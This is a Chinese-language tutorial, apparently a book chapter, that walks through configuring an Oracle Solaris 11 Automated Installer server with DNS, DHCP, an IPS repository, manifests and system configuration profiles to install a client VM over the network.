  • 配置一个 AI 服务器,并从该服务器安装系统

引言

从 DVD 安装 Oracle Solaris 11 是一项简单直接的任务,通常只需要几屏操作和输入即可完成。然而,当需要安装许多主机时,这种方法可能已经不再足够。在 Oracle Solaris 的早期版本中,有一个名为 JumpStart 的功能,它使得在多台机器上安装变得非常简单。正如我们所知,随着时间的推移,Oracle 引入了一种新的方法,称为 自动化安装器 (AI),它可以安装任何机器(SPARC 或 x86 平台)。

简要地说,AI 配置要求包括以下内容:

  • 配置提供安装服务的 AI 服务器;这是进行所有配置的系统

  • 配置一个提供 IP 地址和其他网络设置的 DHCP 服务器

  • 配置一个包含所有安装 Oracle Solaris 11 主机所需的必要包的 IPS 仓库

  • 获取一台客户端,Oracle Solaris 11 将在该客户端上安装,客户端通过 DHCP 服务器租用一个 DHCP IP 地址

通过 AI 安装客户端并不复杂。最初,客户端通过网络启动,并需要从 DHCP 服务器获取 IP 地址。然后,它从 AI 服务器获取启动归档,并加载自己的内核。内核加载完毕后,客户端通过 HTTP 协议下载安装程序,识别安装服务,并下载安装清单。最后,客户端使用 IPS 仓库进行安装,清单作为指南,以适当的方式配置系统。安装完成后,主机重启,并应用 系统配置 (SC) 配置文件,以便配置整台机器的标识信息,如时区、DNS、键盘等。

如果一切正常,Oracle Solaris 11 将安装并开始工作。

配置一个 AI 服务器,并从该服务器安装系统

安装和配置 AI 服务器的过程非常有趣,稍微复杂,且时间较长。让我们开始吧!

准备工作

本教程需要一台虚拟机(VirtualBox 或 VMware),其运行 Oracle Solaris 11,配置 4 GB 内存、静态 IP 地址,并在同一台服务器上配置一个 IPS 仓库,同时也可以在同一主机上安装 DHCP 服务器。简而言之,AI、DHCP 和 IPS 服务器将安装在这台虚拟机上。

此外,还需要一台第二虚拟机,配置 2 GB 内存、一个网络接口和一个 20 GB 空间的磁盘,因为它将作为客户端,安装 Oracle Solaris 11。

另一个重要的点是,我们必须从 Oracle 网站下载针对 x86 的 Oracle Solaris 11 自动化安装程序(也称为 AI 启动映像),网址为 www.oracle.com/technetwork/server-storage/solaris11/downloads/index.html?ssSourceSiteId=ocomen。该 ISO 镜像将保存在 /root 目录下,并且其版本必须与我们要在客户端上安装的 Oracle Solaris 主机版本相同(在本例中为版本 11)。

在这个例子中,AI 服务器将命名为 solaris11-1,而客户端机器将命名为 solaris11-2ai

注意

如果你使用的是 VirtualBox,我建议你下载最新版的 VirtualBox 及其对应的扩展包,该扩展包为英特尔网络接口启用了 PXE 支持。如果不安装扩展包,这个过程将无法工作!

如何操作…

配置 AI 服务是一个两阶段的过程:我们必须检查先决条件并创建其逐步配置。如前所示,我们需要通过运行以下命令确保 AI 服务器上配置了静态 IP 地址:

root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/zoneadmd.v4   static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.144/24
net0/zoneadmd.v4  static   ok           192.168.1.125/24
lo0/v6            static   ok           ::1/128
lo0/zoneadmd.v6   static   ok           ::1/128

如前所示,网络接口(net0)已配置静态 IP 地址(ipadm create-addr -T static -a 192.168.1.144/24 net0/v4),并且应验证你是否可以访问互联网,以及 DNS 客户端配置是否正常工作。顺便提一下,DNS 客户端配置将在接下来的步骤中进行更改。因此,为了检查互联网访问和当前的 DNS 客户端配置,请执行以下命令:

root@solaris11-1:~# ping www.oracle.com
www.oracle.com is alive
root@solaris11-1:~# nslookup 
> server
Default server: 8.8.8.8
Address: 8.8.8.8#53
Default server: 8.8.4.4
Address: 8.8.4.4#53
> exit

一个非常重要的步骤是编辑 /etc/netmask 文件并插入将要使用的网络掩码:

root@solaris11-1:~# vi /etc/netmasks 
(truncated output)
# Both the network-number and the netmasks are specified in
# "decimal dot" notation, e.g:
#
#     128.32.0.0 255.255.255.0
#
192.168.1.0  255.255.255.0

要验证此配置是否正在使用并且处于激活状态,请执行以下命令:

root@solaris11-1:~# getent netmasks 192.168.1.0
192.168.1.0          255.255.255.0

在安装过程中,客户端将从同一系统上安装的 IPS 仓库中接收软件包,因此我们需要通过执行以下命令确认该 IPS 仓库是否在线并正常工作:

root@solaris11-1:~# pkg publisher
PUBLISHER               TYPE     STATUS P LOCATION
solaris                 origin   online F http://solaris11-1.example.com/
root@solaris11-1:~# svcs application/pkg/server
STATE          STIME    FMRI
online          1:09:30 svc:/application/pkg/server:default
root@solaris11-1:~# uname -a
SunOS solaris11-1 5.11 11.1 i86pc i386 i86pc

为了测试 IPS 仓库是否真正有效,我们可以通过运行以下命令搜索一个包:

root@solaris11-1:~# pkg search -p stunnel
PACKAGE                                            PUBLISHER
pkg:/service/security/stunnel@4.29-0.175.0.0.0.0.0 solaris

下一步需要特别注意,因为 /etc/inet 目录下不能有任何现存的 DHCP 配置文件(dhcp4.conf),并且必须禁用 DHCP 服务器,如以下命令所示:

root@solaris11-1:~# svcs -a | grep dhcp
disabled       22:08:49 svc:/network/dhcp/server:ipv6
disabled       22:08:49 svc:/network/dhcp/relay:ipv4
disabled       22:08:49 svc:/network/dhcp/relay:ipv6
disabled       1:09:34 svc:/network/dhcp/server:ipv4

此外,当我们准备 AI 服务器时,必须配置一个 DNS 服务器,并且该服务器应能够解析 AI 安装的服务器 IP 地址。因此,让我们配置 DNS 服务器和 DNS 客户端,但我们这里不会深入探讨 DNS 服务器和客户端的配置。

首先,客户端将遵循 DNS 服务器,我们需要通过运行以下命令安装 DNS 服务器包:

root@solaris11-1:~# pkg install service/network/dns/bind

在下一步中,我们需要配置主 DNS 配置文件,以使 DNS 服务器能够将主机名解析为 IP 地址,反之亦然:

root@solaris11-1:~# vi /etc/named.conf
options {
        directory       "/etc/dnsdb/config";
        pid-file        "/var/run/named/pid";
        dump-file       "/var/dump/dns_dump.db";
        statistics-file "/var/stats/named.stats";
        forwarders { 8.8.8.8; 8.8.4.4; };
};
zone "example.com" {
        type master;
        file "/etc/dnsdb/master/example.db";
};
zone "1.168.192.in-addr.arpa" {
        type master;
        file "/etc/dnsdb/master/1.168.192.db";
};

根据/etc/named.conf文件中使用的目录,现在是时候通过执行以下命令创建这些目录:

root@solaris11-1:~# mkdir /var/dump
root@solaris11-1:~# mkdir /var/stats
root@solaris11-1:~# mkdir -p /var/run/named
root@solaris11-1:~# mkdir -p /etc/dnsdb/master
root@solaris11-1:~# mkdir -p /etc/dnsdb/config

设置 DNS 服务器时最重要的步骤之一是创建一个用于直连解析(主机名到 IP 地址)的数据库文件,以及一个用于反向解析(IP 地址到主机名)的数据库文件。因此,第一步是通过执行以下命令创建直连数据库:

root@solaris11-1:~# vi /etc/dnsdb/master/example.db
$TTL 3h
@  IN      SOA     solaris11-1.example.com. root.solaris11-1.example.com. (
        20140326 ;serial 
        3600 ;refresh (1 hour)
        3600 ;retry (1 hour)
        604800 ;expire (1 week)
        38400 ;minimum (1 day)
)
example.com.     IN      NS      solaris11-1.example.com.
gateway        IN      A       192.168.1.1   ; Router
solaris11-1            IN      A       192.168.1.144 ;

现在,使用以下命令创建反向数据库文件(IP 地址到主机名):

root@solaris11-1:~# vi /etc/dnsdb/master/1.168.192.db
$TTL 3h
@       IN      SOA     solaris11-1.example.com. root.solaris11-1.example.com. (
        20140326 ;serial
        3600 ;refresh (1 hour)
        3600 ;retry (1 hour)
        604800 ;expire (1 week)
        38400 ;minimum (1 day)
)
        IN      NS      solaris11-1.example.com.
1       IN      PTR     gateway.example.com.   
144     IN      PTR     solaris11-1.example.com

最后,DNS 服务器已准备好,并且必须通过执行以下命令启用其服务:

root@solaris11-1:~# svcs -a | grep dns/server
disabled       18:46:05 svc:/network/dns/server:default
root@solaris11-1:~# svcadm enable svc:/network/dns/server:default
root@solaris11-1:~# svcs -a | grep dns/server
online          7:09:05 svc:/network/dns/server:default

DNS 客户端是我们方案中的一个非常重要的步骤,可以通过执行以下命令来配置:

root@solaris11-1:~# svccfg -s svc:/network/dns/client setprop config/nameserver = net_address: "(192.168.1.144)"
root@solaris11-1:~# svccfg -s svc:/network/dns/client setprop config/domain = astring: '("example.com")'
root@solaris11-1:~# svccfg -s svc:/network/dns/client setprop config/search = astring: '("example.com")'
root@solaris11-1:~# svccfg -s svc:/system/name-service/switch setprop config/ipnodes = astring: '("files dns")'
root@solaris11-1:~# svccfg -s svc:/system/name-service/switch setprop config/host = astring: '("files dns")'
root@solaris11-1:~# svccfg -s svc:/network/dns/client listprop config
config                      application        
config/value_authorization astring     solaris.smf.value.name-service.dns.client
config/nameserver          net_address 192.168.1.144
config/domain              astring     example.com
config/search              astring     example.com
root@solaris11-1:~# svccfg -s svc:/system/name-service/switch listprop config
config                      application        
config/default             astring     files
config/value_authorization astring     solaris.smf.value.name-service.switch
config/printer             astring     "user files"
config/ipnodes             astring     "files dns"
config/host                astring     "files dns"
root@solaris11-1:~# svcadm refresh svc:/network/dns/client
root@solaris11-1:~# svcadm restart svc:/network/dns/client
root@solaris11-1:~# svcadm refresh svc:/system/name-service/switch:default
root@solaris11-1:~# svcadm restart svc:/system/name-service/switch:default

为了测试我们的 DNS 服务器配置和 DNS 客户端配置是否有效,我们可以使用nslookup工具进行验证,如以下命令所示:

root@solaris11-1:~# nslookup 
> server
Default server: 192.168.1.144
Address: 192.168.1.144#53
> solaris11-1.example.com
Server:    192.168.1.144
Address:  192.168.1.144#53
Name:  solaris11-1.example.com
Address: 192.168.1.144
> 192.168.1.144
Server:    192.168.1.144
Address:  192.168.1.144#53
144.1.168.192.in-addr.arpa  name = solaris11-1.example.com.
> exit

完美!DNS 服务器和客户端现在都已在 AI 安装服务器上配置完成。

从此时起,我们可以开始配置 AI 服务器本身,它需要启用多播服务,可以通过执行以下命令来完成:

root@solaris11-1:~# svcs -a | grep  multicast
disabled       22:08:43 svc:/network/dns/multicast:default
root@solaris11-1:~# svcadm enable svc:/network/dns/multicast:default
root@solaris11-1:~# svcs -a | grep  multicast
online          2:38:35 svc:/network/dns/multicast:default

此外,AI 服务器还需要配置一系列工具,我们必须通过执行以下命令安装相关软件包:

root@solaris11-1:~# pkg install installadm

现在游戏开始了!我们必须配置一个与安装镜像相关联的 AI 安装服务名称。以后,安装服务名称将由客户端用来访问和部署安装镜像。从此时起,安装服务名称将作为索引,用于查找正确的安装镜像。如果我们想安装 SPARC 和 x86 客户端,我们应该有两个安装服务:第一个与 SPARC 安装镜像相关联,第二个与 x86 安装镜像相关联。

要创建一个 AI 安装服务,请执行以下命令:

root@solaris11-1:~# installadm create-service -n borges_ai -s /root/sol-11_1-ai-x86.iso -i 192.168.1.20 -c 10 -d /export/borges_ai
Creating service from: /root/sol-11_1-ai-x86.iso
Setting up the image ...
Creating i386 service: borges_ai
Image path: /export/borges_ai
Starting DHCP server...
Adding IP range to local DHCP configuration
Refreshing install services
Creating default-i386 alias
Setting the default PXE bootfile(s) in the local DHCP configuration
to:
bios clients (arch 00:00):  default-i386/boot/grub/pxegrub2
uefi clients (arch 00:07):  default-i386/boot/grub/grub2netx64.efi
Refreshing install services

从之前的命令中,我们得到了以下内容:

  • -n:这是服务名称

  • -s:这是 AI ISO 镜像的路径

  • -i:这将更新从 192.168.1.20 开始的 DHCP 服务器

  • -c:此安装服务将提供十个 IP 地址

  • -d:这是 AI ISO 镜像将被解压的目录

在创建borges_ai安装服务后,DHCP 会显示以下配置文件:

root@solaris11-1:~# more /etc/inet/dhcpd4.conf 
# dhcpd.conf
#
# Configuration file for ISC dhcpd
# (created by installadm(1M))
#
default-lease-time 900;
max-lease-time 86400;
# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;

# arch option for PXEClient
option arch code 93 = unsigned integer 16;

# Set logging facility (accompanies setting in syslog.conf)
log-facility local7;

# Global name services
option domain-name-servers 8.8.8.8, 8.8.4.4;
option domain-name "example.com";
option domain-search "example.com";
subnet 192.168.1.0 netmask 255.255.255.0 {
  range 192.168.1.20 192.168.1.29;
  option broadcast-address 192.168.1.255;
  option routers 192.168.1.1;
  next-server 192.168.1.144;
}

class "PXEBoot" {
  match if (substring(option vendor-class-identifier, 0, 9) = "PXEClient");
  if option arch = 00:00 {
    filename "default-i386/boot/grub/pxegrub2";
  } else if option arch = 00:07 {
    filename "default-i386/boot/grub/grub2netx64.efi";
  }
}

我们可能会多次遇到问题,如果我们能从头开始重新开始整个过程会很好。因此,如果出现问题,可以撤销上一步,通过执行installadm install-service命令并重新执行之前的步骤:

root@solaris11-1:~# installadm delete-service default-i386
WARNING: The service you are deleting, or a dependent alias, is
the alias for the default i386 service. Without the 'default-i386'
service, i386 clients will fail to boot unless explicitly
assigned to a service using the create-client command.
Are you sure you want to delete this alias? [y/N]: y
Removing this service's bootfile(s) from local DHCP configuration
Stopping the service default-i386

root@solaris11-1:~# installadm delete-service -r borges_ai
WARNING: The service you are deleting, or a dependent alias, is
the alias for the default i386 service. Without the 'default-i386'
service, i386 clients will fail to boot unless explicitly
assigned to a service using the create-client command.

Are you sure you want to delete this alias? [y/N]: Y
Removing this service's bootfile(s) from local DHCP configuration
Stopping the service default-i386
Removing host entry '08:00:27:DF:15:A6' from local DHCP configuration.
Stopping the service borges_ai
The installadm SMF service is being taken offline.
The installadm SMF service is no longer online because the last
install service has been disabled or deleted.

删除 AI 服务器配置后,建议您还删除/etc/inet/dhcpd4.conf文件,并通过执行以下命令禁用 DHCP 服务器服务:

root@solaris11-1:~# svcadm disable svc:/network/dhcp/server:ipv4

回到配置步骤,AI 安装服务器及其安装服务由 SMF 服务表示,如下命令所示:

root@solaris11-1:~# svcs -a | grep install/server
online          4:53:41 svc:/system/install/server:default
root@solaris11-1:~# svcs -l svc:/system/install/server:default
fmri         svc:/system/install/server:default
name         Installadm Utility
enabled      true
state        online
next_state   none
state_time   March 23, 2014 04:53:41 AM BRT
logfile      /var/svc/log/system-install-server:default.log
restarter    svc:/system/svc/restarter:default
contract_id  472 
manifest     /lib/svc/manifest/system/install/server.xml
dependency   optional_all/restart svc:/network/dns/multicast:default (online)
dependency   optional_all/none svc:/network/tftp/udp6:default (online)
dependency   optional_all/none svc:/network/dhcp-server:default (uninitialized)

要列出现有的 AI 安装服务,请执行以下命令:

root@solaris11-1:~# installadm list
Service Name Alias Of  Status  Arch   Image Path 
------------ --------  ------  ----   ---------- 
borges_ai    -         on      i386   /root/borges_ai
default-i386 borges_ai on      i386   /root/borges_ai

命令输出显示,Oracle Solaris 11 默认创建了一个名为 default-i386 的 AI 安装服务,这是我们名为 borges_ai 的 AI 安装服务的别名。

到目前为止,系统已经创建了一个 AI 安装服务(borges_ai),然后我们需要将其与一个或多个将通过 AI 服务器安装的客户端关联。在完成此任务之前,必须收集这些客户端的 MAC 地址信息。所以,既然我们使用另一个虚拟机作为客户端(solaris11-2ai),那么可以很容易地从虚拟机属性中获取 MAC 信息(无论是 VirtualBox 还是 VMware)。

例如,在使用 VirtualBox 时,你可以通过导航到 设置 | 网络 | 高级 来选择虚拟机(Solaris11-1)。

以下截图显示了 VirtualBox 的 MAC 地址属性:

如何操作…

如果我们使用 VMware Workstation,可以通过导航到 虚拟机(Solaris11-1) | VM | 设置 | 网络适配器 | 高级 来获取虚拟机的 MAC 地址,如下截图所示:

如何操作…

一旦我们获得了 MAC 地址,我们可以通过执行以下命令来添加客户端(将通过 AI 安装的主机):

root@solaris11-1:~# installadm create-client -e 08:00:27:DF:15:A6 -n borges_ai
Adding host entry for 08:00:27:DF:15:A6 to local DHCP configuration.
root@solaris11-1:~# installadm list -c 
Service Name Client Address     Arch   Image Path 
------------ --------------     ----   ---------- 
borges_ai    08:00:27:DF:15:A6  i386   /export/borges_ai

前面的输出显示了一个 MAC 地址为 08:00:27:DF:15:A6 的客户端,它已绑定到名为 borges_ai 的 AI 安装服务。

由于客户端(MAC 08:00:27:DF:15:A6)已经分配给了一个 AI 安装服务,下一步将是创建一个 AI 清单。什么是 AI 清单?AI 清单是一个包含安装和配置将通过 AI 服务安装的客户端的指令的文件。由于这个清单是一个 XML 文件,为每个需要使用 AI 安装服务的客户端创建清单会非常困难,因此每个启动映像都会提供一个默认清单,供任何需要使用该启动映像的安装服务的客户端使用。

在 AI 框架中,有两种类型的清单,如下所示:

  • 默认:适用于所有没有自定义清单的客户端。默认清单名为 default.xml

  • 自定义:这是一个特定的清单,关联了一个安装映像,可以将一个或多个客户端分配给它。

选择自定义清单还是默认清单的决策因素是什么?这就是名为 criteria 文件的作用,它通过客户端的属性或特征将客户端与特定的清单或默认清单关联起来。

以下是运行installadm create-service命令时安装在/export/borges_ai/auto_install目录中的默认清单(default.xml)示例:

root@solaris11-1:~# cat /export/borges_ai/auto_install/default.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--

 Copyright (c) 2008, 2012, Oracle and/or its affiliates. All rights reserved.

-->
<!DOCTYPE auto_install SYSTEM "file:///usr/share/install/ai.dtd.1">
<auto_install>
  <ai_instance name="default">
    <target>
      <logical>
        <zpool name="rpool" is_root="true">
          <!--
            Subsequent <filesystem> entries instruct an installer to create
            following ZFS datasets:

                <root_pool>/export         (mounted on /export)
                <root_pool>/export/home    (mounted on /export/home)

            Those datasets are part of standard environment and should be
            always created.

            In rare cases, if there is a need to deploy an installed system
            without these datasets, either comment out or remove <filesystem>
            entries. In such scenario, it has to be also assured that
            in case of non-interactive post-install configuration, creation
            of initial user account is disabled in related system
            configuration profile. Otherwise the installed system would fail
            to boot.
          -->
          <filesystem name="export" mountpoint="/export"/>
          <filesystem name="export/home"/>
          <be name="solaris"/>
        </zpool>
      </logical>
    </target>
    <software type="IPS">
      <destination>
        <image>
          <!-- Specify locales to install -->
          <facet set="false">facet.locale.*</facet>
          <facet set="true">facet.locale.de</facet>
          <facet set="true">facet.locale.de_DE</facet>
          <facet set="true">facet.locale.en</facet>
          <facet set="true">facet.locale.en_US</facet>
          <facet set="true">facet.locale.es</facet>
          <facet set="true">facet.locale.es_ES</facet>
          <facet set="true">facet.locale.fr</facet>
          <facet set="true">facet.locale.fr_FR</facet>
          <facet set="true">facet.locale.it</facet>
          <facet set="true">facet.locale.it_IT</facet>
          <facet set="true">facet.locale.ja</facet>
          <facet set="true">facet.locale.ja_*</facet>
          <facet set="true">facet.locale.ko</facet>
          <facet set="true">facet.locale.ko_*</facet>
          <facet set="true">facet.locale.pt</facet>
          <facet set="true">facet.locale.pt_BR</facet>
          <facet set="true">facet.locale.zh</facet>
          <facet set="true">facet.locale.zh_CN</facet>
          <facet set="true">facet.locale.zh_TW</facet>
        </image>
      </destination>
      <source>
        <publisher name="solaris">
          <origin name="http://pkg.oracle.com/solaris/release"/>
        </publisher>
      </source>
      <!--
        The version specified by the "entire" package below, is
        installed from the specified IPS repository.  If another build
        is required, the build number should be appended to the
        'entire' package in the following form:

            <name>pkg:/entire@0.5.11-0.build#</name>
      -->
      <software_data action="install">
        <name>pkg:/entire@0.5.11-0.175.1</name>
        <name>pkg:/group/system/solaris-large-server</name>
      </software_data>
    </software>
  </ai_instance>
</auto_install>

default.xml文件非常简单,且有一些值得提及的优点,如下所示:

  • <ai_instance name="default">: 这个元素显示了 AI 实例的名称

  • <software type="IPS">: 所有这些包来自 IPS 服务器

  • <publisher name="solaris">: 这是 IPS 发布者名称

  • <origin name="http://pkg.oracle.com/solaris/release"/>: 这是由发布者(Solaris)提供的存储库的源 URI

  • <name>pkg:/entire@0.5.11-0.build#</name><name>pkg:/entire@0.5.11-0.175.1</name>:这些基本上是整个 IPS 包,并告诉我们提供的 Oracle Solaris 版本,这些信息将用于安装补丁或升级

  • <name>pkg:/group/system/solaris-large-server</name>:这是一个包含多个工具和重要文件(如库、驱动程序和 Python)的包组,这些文件应当被安装

有趣的是,我自己系统中没有安装solaris-large-server包,正如以下命令所示:

root@solaris11-1:~# pkg search solaris-large-server
INDEX      ACTION VALUE                                     PACKAGE
pkg.fmri   set    solaris/group/system/solaris-large-server pkg:/group/system/solaris-large-server@0.5.11-0.175.1.0.0.24.3
root@solaris11-1:~# pkg info -r solaris pkg:/group/system/solaris-large-server@0.5.11-0.175.1.0.0.24.3

          Name: group/system/solaris-large-server
       Summary: Oracle Solaris Large Server
   Description: Provides an Oracle Solaris large server environment
      Category: Meta Packages/Group Packages
         State: Not installed
     Publisher: solaris
       Version: 0.5.11
 Build Release: 5.11
        Branch: 0.175.1.0.0.24.3
Packaging Date: September 19, 2012 06:53:18 PM 
          Size: 5.46 kB
          FMRI: pkg://solaris/group/system/solaris-large-server@0.5.11,5.11-0.175.1.0.0.24.3:20120919T185318Z

          Name: system/zones/brand/solaris
       Summary: 
         State: Not installed (Renamed)
    Renamed to: pkg:/system/zones/brand/brand-solaris@0.5.11,5.11-0.173.0.0.0.0.0
                consolidation/osnet/osnet-incorporation
     Publisher: solaris
       Version: 0.5.11
 Build Release: 5.11
        Branch: 0.173.0.0.0.1.0
Packaging Date: August 26, 2011 07:00:28 PM 
          Size: 5.45 kB
          FMRI: pkg://solaris/system/zones/brand/solaris@0.5.11,5.11-0.173.0.0.0.1.0:20110826T190028Z

因此,根据之前的default.xml文件(虽然通常不需要),我们必须执行以下命令来安装缺失的包:

root@solaris11-1:~# pkg install pkg:/group/system/solaris-large-server@0.5.11-0.175.1.0.0.24.3

回到默认清单(default.xml)的解释,我们需要备份并修改它,以适应我们具有以下特征的环境:

  • AI 实例名称(borges_ai

  • IPS 源 URI—http://solaris11-1.example.com/—(来自pkg publisher命令)

  • 自动重启(auto_reboot)设置为 true

上一个任务的代码如下:

root@solaris11-1:~# mkdir /backup
root@solaris11-1:~# cp /export/borges_ai/auto_install/manifest/default.xml /export/borges_ai/auto_install/borges_ai.xml
root@solaris11-1:~# vi /export/borges_ai/auto_install/borges_ai.xml
root@solaris11-1:~# grep borges_ai /export/borges_ai/auto_install/borges_ai.xml
 <ai_instance name="borges_ai" auto_reboot="true">
root@solaris11-1:~# grep solaris11-1 /export/borges_ai/auto_install/borges_ai.xml
<origin name="http://solaris11-1.example.com"/>

我们创建了一个名为borges_ai.xml的新清单文件,但我们必须创建一个criteria文件,以便将客户端(solaris11-2ai)与此清单关联起来。通常,criteria文件中可以使用一些良好的属性:MAC 地址、IPv4、平台、架构(arch)、内存(mem)、主机名等。因此,在创建标准文件后,规则是,如果客户端匹配这些标准文件中的任何一个,相关联的清单将被使用(在我们的例子中,自定义清单是borges_ai.xml)。如果不匹配,则使用default.xml文件清单。

要创建一个包含客户端机器 MAC 地址(solaris11-2ai)的标准文件,我们可以执行以下命令:

root@solaris11-1:~# vi /export/borges_ai/auto_install/borges_criteria_ai.xml
<ai_criteria_manifest>
  <ai_criteria name="mac"> 
    <value>08:00:27:DF:15:A6</value>
  </ai_criteria>
</ai_criteria_manifest>

最后,我们能够将此标准文件(borges_criteria_ai.xml)和自定义清单文件(borges_ai.xml)与 AI 安装服务(borges_ai)关联起来:

root@solaris11-1:~# installadm create-manifest -n borges_ai -f /export/borges_ai/auto_install/borges_ai.xml -C /export/borges_ai/auto_install/borges_criteria_ai.xml

从之前的命令中,我们注意到以下内容:

  • -n: 这是 AI 安装服务名称

  • -f: 这是自定义清单文件

  • -C: 这是标准文件

创建criteria文件的另一种更简单的方式是将客户端与该criteria文件关联,并通过运行以下命令进行必要的定制,将客户端的 MAC 地址作为标准:

root@solaris11-1:~# installadm create-manifest -n borges_ai -f /export/borges_ai/auto_install/borges_ai.xml
root@solaris11-1:~#  installadm set-criteria –n borges_ai -m borges_ai –c mac="08:00:27:XX::YY:ZZ"

要验证到目前为止的 AI 配置,请执行以下命令:

root@solaris11-1:/backup# installadm list 
Service Name Alias Of  Status  Arch   Image Path 
------------ --------  ------  ----   ---------- 
borges_ai    -         on      i386   /export/borges_ai
default-i386 borges_ai on      i386   /export/borges_ai
root@solaris11-1:~# installadm list -m
Service/Manifest Name  Status   Criteria
---------------------  ------   --------
borges_ai
   borges_ai                    mac  = 08:00:27:DF:15:A6
   orig_default        Default  None
default-i386
   orig_default        Default  None

那很好!下一步很有趣,因为通常在安装 Oracle Solaris 11 时,我们会被提示输入许多内容,比如初始用户账户、root 密码、时区、键盘等。一次性回答这些问题很简单,但当需要安装 100 台机器时,这将成为一个严重的问题。

为了自动化此过程,存在一个名为系统配置文件SC)的配置文件,在 Oracle Solaris 11 安装后的第一次启动时提供任何必要的答案。

为了帮助我们创建 SC 配置文件,Oracle Solaris 11 在/export/borges_ai/auto_install/sc_profiles目录中提供了一些该配置文件的模板。在修改之前,我们将从该目录复制一个模板,并突出显示一些有趣的行,如以下命令所示:

root@solaris11-1:~# cp /export/borges_ai/auto_install/sc_profiles/sc_sample.xml /export/borges_ai/auto_install/sc_borges_ai.xml
root@solaris11-1:~# cat /export/borges_ai/auto_install/sc_borges_ai.xml
<?xml version="1.0"?>
<!--
Copyright (c) 2011, 2012, Oracle and/or its affiliates. All rights reserved.
-->
<!--
Sample system configuration profile for use with Automated Installer

Configures the following:
* User account name 'jack', password 'jack', GID 10, UID 101, root role, bash shell
* 'root' role with password 'solaris'
* Keyboard mappings set to US-English
* Timezone set to UTC
* Network configuration is automated with Network Auto-magic
* DNS name service client is enabled

See installadm(1M) for usage of 'create-profile' subcommand.
-->

<!DOCTYPE service_bundle SYSTEM "/usr/share/lib/xml/dtd/service_bundle.dtd.1">
<service_bundle type="profile" name="system configuration">
    <service name="system/config-user" version="1">
      <instance name="default" enabled="true">
        <property_group name="user_account">
          <propval name="login" value="jack"/>
          <propval name="password" value="9Nd/cwBcNWFZg"/>
          <propval name="description" value="default_user"/>
          <propval name="shell" value="/usr/bin/bash"/>
          <propval name="gid" value="10"/>
          <propval name="uid" value="101"/>
          <propval name="type" value="normal"/>
          <propval name="roles" value="root"/>
          <propval name="profiles" value="System Administrator"/>
        </property_group>
        <property_group name="root_account">
            <propval name="password" value="$5$dnRfcZse$Hx4aBQ161Uvn9ZxJFKMdRiy8tCf4gMT2s2rtkFba2y4"/>
            <propval name="type" value="role"/>
        </property_group>
      </instance>
    </service>

    <service version="1" name="system/identity">
      <instance enabled="true" name="node">
        <property_group name="config">
           <propval name="nodename" value="solaris"/>
        </property_group>
      </instance>
    </service>

    <service name="system/console-login" version="1">
      <instance name="default" enabled="true">
        <property_group name="ttymon">
          <propval name="terminal_type" value="sun"/>
        </property_group>
      </instance>
    </service>

    <service name="system/keymap" version="1">
      <instance name="default" enabled="true">
        <property_group name="keymap">
          <propval name="layout" value="US-English"/>
        </property_group>
      </instance>
    </service>

    <service name="system/timezone" version="1">
      <instance name="default" enabled="true">
        <property_group name="timezone">
          <propval name="localtime" value="UTC"/>
        </property_group>
      </instance>
    </service>

    <service name="system/environment" version="1">
      <instance name="init" enabled="true">
        <property_group name="environment">
          <propval name="LANG" value="en_US.UTF-8"/>
        </property_group>
      </instance>
    </service>

    <service name="network/physical" version="1">
      <instance name="default" enabled="true">
          <property_group name="netcfg" type="application">
              <propval name="active_ncp" type="astring" value="Automatic"/>
          </property_group>
      </instance>
    </service>
</service_bundle>

在仔细阅读此文件后,我们得出以下结论:

  • 初始默认用户名是jack,密码是jack

  • root 是一个角色(这不是一个普通账户),其密码是solaris

  • 机器名称是solaris

  • 活动的 NCP 是自动的

为了将此文件调整为我们的目的,需要将初始默认用户名更改为borges,密码更改为oracle123!$5$VPcyGvgl$bt4cybd8cpZdHKWF2tvBn.SPFeJ8YdgvQUqHzWkNLl1)。此外,主机名将更改为solaris11-2ai。可以通过运行以下命令来验证每个更改:

root@solaris11-1:/export/borges_ai/auto_install# cat sc_borges_ai.xml 
(truncated output)
See installadm(1M) for usage of 'create-profile' subcommand.
-->
<!DOCTYPE service_bundle SYSTEM "/usr/share/lib/xml/dtd/service_bundle.dtd.1">
<service_bundle type="profile" name="system configuration">
    <service name="system/config-user" version="1">
      <instance name="default" enabled="true">
        <property_group name="user_account">
          <propval name="login" value="borges"/>
          <propval name="password" value="$5$VPcyGvgl$bt4cybd8cpZdHKWF2tvBn.SPFeJ8YdgvQUqHzWkNLl1"/>
          <propval name="description" value="default_user"/>
          <propval name="shell" value="/usr/bin/bash"/>
          <propval name="gid" value="10"/>
          <propval name="uid" value="101"/>
          <propval name="type" value="normal"/>
          <propval name="roles" value="root"/>
          <propval name="profiles" value="System Administrator"/>
        </property_group>
        <property_group name="root_account">
            <propval name="password" value="$5$dnRfcZse$Hx4aBQ161Uvn9ZxJFKMdRiy8tCf4gMT2s2rtkFba2y4"/>
            <propval name="type" value="role"/>
        </property_group>
      </instance>
    </service>

    <service version="1" name="system/identity">
      <instance enabled="true" name="node">
        <property_group name="config">
           <propval name="nodename" value="solaris11-2ai"/>
        </property_group>
      </instance>
    </service>

(truncated output)

现在,sc_borges_ai.xml的 SC 配置文件已经修改完毕,是时候在 AI 服务数据库中创建它,验证其语法并列出结果,如以下命令所示:

root@solaris11-1:~# installadm create-profile -n borges_ai -f /export/borges_ai/auto_install/sc_borges_ai.xml -c mac=08:00:27:DF:15:A6
Profile sc_borges_ai.xml added to database.

root@solaris11-1:~# installadm validate -n borges_ai -p sc_borges_ai.xml 
Validating static profile sc_borges_ai.xml...
 Passed
root@solaris11-1:~# installadm list -p 
Service/Profile Name  Criteria
--------------------  --------
borges_ai
   sc_borges_ai.xml   mac = 08:00:27:DF:15:A6

这真是太好了!我们已经配置好了 AI 服务器。sc_borges_ai.xml的 SC 配置文件将根据已建立的标准(MAC = 08:00:27:DF:15:A6)由我们的客户端(solaris11-2ai)使用。

最后,展示时间到了!为了测试整个 AI 服务器配置是否工作,我们需要打开客户端(solaris11-2ai 虚拟机),然后等待整个安装过程。如果一切正常,我们将看到以下截图:

如何操作…

在选择Oracle Solaris 11.1 自动安装后,Oracle Solaris 11 的安装应该开始。

如何操作…

这真是太棒了!

方案概览

这一部分令人印象深刻!我们学会了如何配置一个 AI 安装服务器,从而实现远程安装客户端而无需任何交互。在本章中,我们还学习了如何配置 DNS 服务器和客户端。
